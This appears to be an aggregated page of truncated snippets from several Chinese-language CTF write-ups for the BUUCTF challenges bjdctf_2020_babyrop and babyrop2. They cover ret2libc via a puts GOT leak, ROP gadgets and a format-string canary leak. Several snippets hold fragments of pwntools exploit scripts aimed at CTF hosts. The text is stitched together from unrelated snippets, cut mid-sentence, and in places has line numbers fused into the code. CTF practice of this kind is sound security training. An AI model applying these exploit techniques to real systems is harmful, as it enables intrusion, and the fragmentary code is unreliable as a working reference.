bjdctf_2020_babyrop 先checksec,64位小端序,MX保护开,其它全关,接着进入IDA分析 main函数内很简单,进一步分析后找到关键函数vuln 本题没有找到backdoor,所以应该是做基地址泄露然后getshell,整个程序内只有puts函数可以输出内容,因此对puts函数进行修改,先溢出后转到此处,考虑到系统会对堆栈进行平衡,所以我们要修改put...
没有地址随机化,那么我们的思路就是libc泄露了 找到pop rdi和ret,那么剩下的就是常规libc地址泄露了 from pwn import* p=remote('node4.buuoj.cn',25243) elf=ELF('./babyrop') puts_got=elf.got['puts'] puts_plt=elf.plt['puts'] pop_rdi=0x400733ret=0x4004c9main=0x4006adp.recvuntil('story!\...
1frompwnimport*2importtime34p = process('./bjdctf_2020_babyrop2')5elf = ELF('./bjdctf_2020_babyrop2')6context.log_level ='debug'78p.recv()9payload ='%7$p'10p.sendline(payload)11p.recvuntil('0x')12cancry = int(p.recv(16),16)1314puts_plt = 0x040061015puts_got = elf.got['put...
bjdctf_2020_babyrop来自BUUCTF 这是一道64位的ret2libc和“铁人三项(第五赛区)_2018_rop来自BUUCTF”是一个类型的题目不过payload的构造有一点差别。因为在64位程序中函数的前六个参数保存在寄存器中第七个参数保存在栈中。而在32位程序中函数的参数保存在栈中。 这两个题正好一样的题型但是略有差别。 这是主...
from pwn import * from LibcSearcher import * context.log_level='debug' r=remote('node3.buuoj.cn',28426) #r=process('./bjdctf_2020_babyrop') elf=ELF('./bjdctf_2020_babyrop') puts_got=elf.got['puts'] puts_plt=elf.plt['puts'] main_addr=elf.symbols['main'] pop_rdi=0x0000000000400...
bjdctf_2020_babyrop2(没有成功拿到shell) 看到程序先例行检查一下 可以看到开启了canary和nx保护,需要注意的是这个acnary 将程序放入ida中shift+f12 没有关键性函数。我们进入main函数中 在main的gift程序里面我们可以看到明显的格式字符串漏洞,printf没有进行限定输入,所以我们可以通过这个程序获取到canary的值...
bjdctf_2020_babyrop来自BUUCTF 这是一道64位的ret2libc和“铁人三项(第五赛区)_2018_rop来自BUUCTF”是一个类型的题目不过payload的构造有一点差别。因为在64位程序中函数的前六个参数保存在寄存器中第七个参数保存在栈中。而在32位程序中函数的参数保存在栈中。
bjdctf_2020_babyrop frompwnimport*fromLibcSearcherimport*context.log_level='debug'r=remote('node3.buuoj.cn',28426)#r=process('./bjdctf_2020_babyrop')elf=ELF('./bjdctf_2020_babyrop') puts_got=elf.got['puts'] puts_plt=elf.plt['puts']...
bjdctf_2020_babyrop2 bjdctf_2020_babyrop2 1.ida分析 有个字符串格式化漏洞,应该是利用这个漏洞泄露出canary的值。 存在栈溢出漏洞。 2.checksec 3.解决 from pwn import * from LibcSearcher import * context.log_level='debug' p=remote('node4.buuoj.cn',25138)...
bjdctf_2020_babyrop exp 脚本 有 puts 函数,有栈溢出,第一次栈溢出 rop 用 puts 泄露 got 表,回到漏洞函数再次栈溢出 rop 执行 system('/bin/sh') frompwn_debugimport* context.log_level ='debug'pdbg = pwn_debug('ciscn_2019_n_3')...